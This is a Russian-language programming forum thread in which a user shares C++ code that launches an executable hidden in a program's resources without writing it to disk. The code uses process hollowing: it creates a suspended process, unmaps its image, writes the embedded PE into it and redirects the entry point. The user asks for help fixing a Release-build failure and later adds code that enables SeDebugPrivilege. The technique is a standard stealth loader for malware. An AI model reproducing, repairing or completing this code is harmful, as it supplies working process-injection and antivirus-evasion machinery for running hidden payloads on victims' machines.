[BC++] Запуск .exe из ресурсов

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by MuForum, 19 Dec 2008.

  1. MuForum

    MuForum Banned

    Joined:
    30 Nov 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Доброе время суток!
    - Пишу программу на 'Borland C++ Builder 6.0 SP4';
    - Задача: Запустить программу 1.exe из ресурсов моей программу main.exe не извлекая её на диск.
    - То есть, необходимо запустить программу main.exe, затем извлечь из ресурсов 1.exe заменяя память другого процесса, чтобы запустилась программа 1.exe;
    - Данную схему вроде частично реализовал(Без переноса таблицы импорта и релоков).

    # TRFR.cpp:
    Code:
    #include "TRFR.h"
    #include "Main.h"
    //---------------------------------------------------------------------------
    bool (*pNtdllFunc)(HANDLE, LPVOID);
    //---------------------------------------------------------------------------
    
    TRFR::TRFR()
    {
        // ----
    }
    //---------------------------------------------------------------------------
    
    TRFR::~TRFR()
    {
        // ----
    }
    //---------------------------------------------------------------------------
    
    bool __fastcall TRFR::ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress)
    {
        bool Result = false;
        // -----
        try
        {
            HMODULE hNtdll = LoadLibrary("ntdll.dll");
            if(hNtdll != NULL)
            {
                (FARPROC &)pNtdllFunc = GetProcAddress(hNtdll, "ZwUnmapViewOfSection");
                pNtdllFunc(ProcessHandle, BaseAddress);
                FreeLibrary(hNtdll);
                Result = true;
            }
        }
        catch(...) {}
        // ----
        return Result;
    }
    //---------------------------------------------------------------------------
    
    ULONG __fastcall TRFR::Protect(ULONG characteristics)
    {
        const ULONG mapping[8] = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE};
        return mapping[characteristics >> 29];
    }
    //---------------------------------------------------------------------------
    
    bool __fastcall TRFR::GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection)
    {
        bool Result = true;
        // ----
        for (USHORT i = 0; i < NumberOfSections; i++)
        {
            Result = WriteProcessMemory(hProcess,
                (LPVOID)(DWORD(Mapping) + pSection[i].VirtualAddress),
                (LPCVOID)(DWORD(pRes) + pSection[i].PointerToRawData),
                pSection[i].SizeOfRawData, NULL);
            // ----
            if(!Result) break;
        }
        // ----
        return Result;
    }
    //---------------------------------------------------------------------------
    
    DWORD __fastcall TRFR::RunFromResurs(LPTSTR ComLine, LPCTSTR ResName, LPCTSTR ResType)
    {
        bool Result = true;
        DWORD pPID = 0;
        // ----
        PROCESS_INFORMATION pi;
        STARTUPINFO si;
        ZeroMemory(&pi, sizeof(pi));
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(STARTUPINFO);
        // ----
        PIMAGE_DOS_HEADER pDos = NULL;
        PIMAGE_NT_HEADERS pNt = NULL;
        PIMAGE_FILE_HEADER pFile = NULL;
        PIMAGE_OPTIONAL_HEADER pOptional = NULL;
        PIMAGE_SECTION_HEADER pSection = NULL;
        // ----
        LPVOID x = NULL, pRes = NULL, Mapping = NULL;
        HANDLE hProcess = NULL;
        HMODULE hInst = GetModuleHandle(NULL);
            SIZE_T bsize = 0;
        // ----
        pRes = LockResource(LoadResource(hInst, FindResource(hInst, ResName, ResType)));
        if(pRes != NULL)
        {
            pDos = PIMAGE_DOS_HEADER(pRes);
            if (pDos->e_magic == IMAGE_DOS_SIGNATURE)
            {
                pNt = PIMAGE_NT_HEADERS(PCHAR(pRes) + pDos->e_lfanew);
                if (pNt->Signature == IMAGE_NT_SIGNATURE)
                {
                    pFile = &pNt->FileHeader;
                    pOptional = &pNt->OptionalHeader;
                    pSection = IMAGE_FIRST_SECTION(pNt);
                    // ----
                    Result = CreateProcess(NULL, ComLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
                    if(Result)
                    {
                        FMain->WLog("CreateProcess()");
                        hProcess = pi.hProcess;
                        pPID = pi.dwProcessId;
                        CONTEXT context;
                        context.ContextFlags = CONTEXT_FULL;
                        // ----
                        Result = GetThreadContext(pi.hThread, &context);
                        if(Result)
                        {
                            FMain->WLog("GetThreadContext()");
                            Result = ReadProcessMemory(pi.hProcess, (LPCVOID)(context.Ebx + 8), &x, sizeof(x), &bsize);
                            if (Result)
                            {
                                FMain->WLog("ReadProcessMemory()");
                                Result = ZwUnmapViewOfSection(pi.hProcess, x);
                                if(Result)
                                {
                                    FMain->WLog("ZwUnmapViewOfSection()");
                                    Mapping = VirtualAllocEx(pi.hProcess, (LPVOID)pOptional->ImageBase, pOptional->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                                    if(Mapping != NULL)
                                    {
                                        FMain->WLog("VirtualAllocEx()");
                                        //DWORD previousProtection = 0;
                                        //Result = VirtualProtectEx(pi.hProcess, Mapping, pOptional->SizeOfHeaders, PAGE_EXECUTE_READWRITE, &previousProtection);
                                        Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
                                        if(Result)
                                        {
                                            FMain->WLog("WriteProcessMemory()");
                                            Result = GetMemoryToSection(pi.hProcess, Mapping, pRes, pFile->NumberOfSections, pSection);
                                            if(Result)
                                            {
                                                FMain->WLog("GetMemoryToSection()");
                                                Result = WriteProcessMemory(pi.hProcess, (LPVOID)(context.Ebx + 8), &Mapping, sizeof(Mapping), 0);
                                                if(Result)
                                                {
                                                    context.Eax = (ULONG)Mapping + pOptional->AddressOfEntryPoint;
                                                    // ----
                                                    SetThreadContext(pi.hThread, &context);
                                                    ResumeThread(pi.hThread);
                                                }
                                            }
                                        }
                                        else FMain->WLog("[WPM1] GetLastError = '" + (String)GetLastError() + "'");
                                    }
                                    else Result = false;
                                }
                            }
                        }
                        // ----
                        if(!Result && hProcess != NULL) TerminateProcess(hProcess, 0);
                        // ----
                        CloseHandle(pi.hProcess);
                        CloseHandle(pi.hThread);
                    }
                }
            }
        }
        // -----
        FreeResource(pRes);
        // ----
        return (Result) ? pPID : 0;
    }
    //---------------------------------------------------------------------------
    
    # TRFR.h:
    Code:
    #include <Windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>
    //---------------------------------------------------------------------------
    class TRFR
    {
        private:
            bool __fastcall ZwUnmapViewOfSection(HANDLE ProcessHandle, LPVOID BaseAddress);
            ULONG __fastcall Protect(ULONG characteristics);
            bool __fastcall GetMemoryToSection(HANDLE hProcess, LPVOID Mapping, LPVOID pRes, USHORT NumberOfSections, PIMAGE_SECTION_HEADER pSection);
        public:
            TRFR();
            ~TRFR();
            DWORD __fastcall RunFromResurs(LPTSTR AppName, LPCTSTR ResName, LPCTSTR ResType);
    };
    //---------------------------------------------------------------------------
    
    - Проблема в том, что если программу компилировать в режиме 'Debug', то всё нормально, запускается и выполняет свои функции, если скомпилировать в режиме 'Release', то на строчке 128:
    Code:
    Result = WriteProcessMemory(pi.hProcess, Mapping, (LPCVOID)pRes, pOptional->SizeOfHeaders, &bsize);
    - GetLastError() выдаёт ошибку:
    
    ERROR_PARTIAL_COPY
    299
    0x12B
    - Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
    
    - Вроде использую VirtualProtectEx(), вообщем что-то не могу сам допереть...


    # Добавлено: У Borland есть удобный класс для извлечения из ресурсов 'TResourceStream', но он мне не очень нравится. (Это так, вода...)


    P.S. -> Убедительно прошу, не нужно мне советовать следующее: А чем плох приём извлечения программы на диск с последующим запуском...
    - Задача конкретно поставлена. (Файл не должен извлекаться из ресурсов)
     
    #1 MuForum, 19 Dec 2008
    Last edited: 19 Dec 2008
  2. izlesa

    izlesa Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    112
    Likes Received:
    32
    Reputations:
    5
    Не помню, имеет ли процесс создаваемый с атрибутами безопасности по умолчанию права PROCESS_VM_WRITE ... Судя по всему прав для записи не хватает. Нда и у мну начали появлятся смутные подозрения, что атрибуты безопасности по умолчанию для релиза и дебага разные используются ???
    Попробуй вручную задать нужные права. Если нет, будем дальше смотреть )).
     
  3. MuForum

    MuForum Banned

    Joined:
    30 Nov 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    - Мои тестирования приводят к тому, что правила безопастности для режимов Debug и Release разные.
    - Сейчас посмотрю в инете, покуралесю и отпишусь.


    # Добавлено: Что-то я не могу понять, как задать атрибут PROCESS_VM_WRITE через функцию CreateProcess(). (Через OpenProcess Нашел, а вот с Create что-то не могу)
    - Метод научного тыка тоже не помог.
    - На MSDN касательно структуры: SECURITY_ATTRIBUTES практически ничего не сказано)
     
    #3 MuForum, 19 Dec 2008
    Last edited: 19 Dec 2008
  4. MuForum

    MuForum Banned

    Joined:
    30 Nov 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Code:
    void TFMain::EnableDebugPriv(void)
    {
            String Text = "";
            HANDLE hToken;
            LUID sedebugnameValue;
            TOKEN_PRIVILEGES tkp;
            // enable the SeDebugPrivilege;
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
            {
                    Text = "OpenProcessToken() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
                    //wprintf( L"OpenProcessToken() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
                    WLog(Text);
                    return;
            }
            // ----
            if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
            {
                    Text = "LookupPrivilegeValue() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
                    //wprintf( L"LookupPrivilegeValue() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
                    WLog(Text);
                    CloseHandle(hToken);
                    return;
            }
            // ----
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Luid = sedebugnameValue;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // ----
             if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
             {
                    Text = "AdjustTokenPrivileges() failed, Error = %d SeDebugPrivilege is not available. " + (String)GetLastError();
                    //wprintf( L"AdjustTokenPrivileges() failed, Error = %d SeDebugPrivilege is not available.\n", GetLastError());
                    WLog(Text);
             }
             // ----
             CloseHandle(hToken);
             WLog("End function...");
    }
    
    - Использую эту функцию.
     
  5. izlesa

    izlesa Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    112
    Likes Received:
    32
    Reputations:
    5
    Code:
    
    http://social.msdn.microsoft.com/forums/en-US/windowssecurity/thread/755d47b7-ab7a-42c5-bbaa-e14793b2c4d4/
    
    Processes with the debug privilege will be able to bypass the DACL.
    
    Also, the parent of your process will have that right too.
    
    
    Наверно в этом дело в дебаге и релизе )).

    Вот про права для процесса
    http://msdn.microsoft.com/en-us/library/ms684880.aspx
    В кратце, можно задать используя специальную функцию для создания процесса, или заполнить секьюрити дескриптор, ктр как раз таки находится в структуре секьюрити аттрибутес. Он не прозрачен и управляется через спец функции